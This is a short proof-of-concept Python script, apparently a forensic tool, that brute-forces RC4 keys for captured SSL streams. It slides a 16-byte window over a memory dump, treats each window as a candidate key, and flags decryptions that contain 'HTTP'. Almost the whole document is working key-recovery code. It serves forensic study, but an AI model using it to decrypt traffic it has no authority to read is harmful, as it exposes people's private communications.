PoC Script for brute-forcing of RC4 SSL

Uses a memory dump as a source of candidate keys. SSL streams can be extracted using pyflag's tcptrace.py.

   1 #!/usr/bin/env python
   2 # script to attack SSL connections using a memory image as a source of
   3 # candidate keys
   4 
   5 import sys,os,struct
   6 import Crypto.Cipher.ARC4 as RC4
   7 import time
   8 import sys
   9 
  10 # usage: sslcrack.py stream dump [offset]
  11 
  12 fd = open(sys.argv[1])
  13 
  14 def read_chunk(fd):
  15     format = "!BHH"
  16     type, version, length = struct.unpack(format, fd.read(struct.calcsize(format)))
  17     print type, version, length
  18     data = fd.read(length)
  19 
  20     return type, data, length
  21 
  22 # Skip the initial (unencrypted) chunks, leaving the stream at the correct
  23 # position. We use a Change Cipher Spec record of length 1 to signal the end of
  24 # the unencrypted protocol.
  25 while True:
  26         type, data, length = read_chunk(fd)
  27         if type==20 and length==1:
  28                 break
  29 
  30 # The first chunk is an encrypted "Handshake Finished" message (size observed
  31 # is 32 bytes) before the actual HTTP data begins.
  32 ciphertext = ''
  33 for i in range(0,2):
  34     type,data,_ = read_chunk(fd)
  35     ciphertext += data
  36 
  37 # Truncate the ciphertext to speedup attempts. This could cause a failure to
  38 # detect a key if the URL is longer than about 60 chars
  39 ciphertext = ciphertext[:100]
  40 
  41 # Try to decrypt a chunk, our indicator for success is to see the string
  42 # "HTTP" in the plaintext since it appears in both HTTP requests and
  43 # responses. Note that because this is only a 4 byte signature, you will get
  44 # some false-positives.
  45 def force(key):
  46     rc4 = RC4.new(key)
  47     plaintext = rc4.decrypt(ciphertext)
  48     return "HTTP" in plaintext
  49 
  50 fd = open(sys.argv[2])
  51 if len(sys.argv) > 3:
  52     fd.seek(int(sys.argv[3]))
  53 
  54 # initialise the key with all zeros
  55 key = "\x00" * 16
  56 
  57 count = fd.tell()
  58 t = time.time()
  59 
  60 while 1:
  61     if force(key):
  62         print "Possible key found: %r" % key
  63         rc4 = RC4.new(key)
  64         print "data is: %s" % rc4.decrypt(ciphertext)[32:50]
  65 
  66     key = key[1:] + fd.read(1)
  67 
  68     count += 1
  69     if (count % (1024 * 1024)) == 0:
  70         print "%s in %s seconds" % (count, time.time() -t)
  71         t = time.time()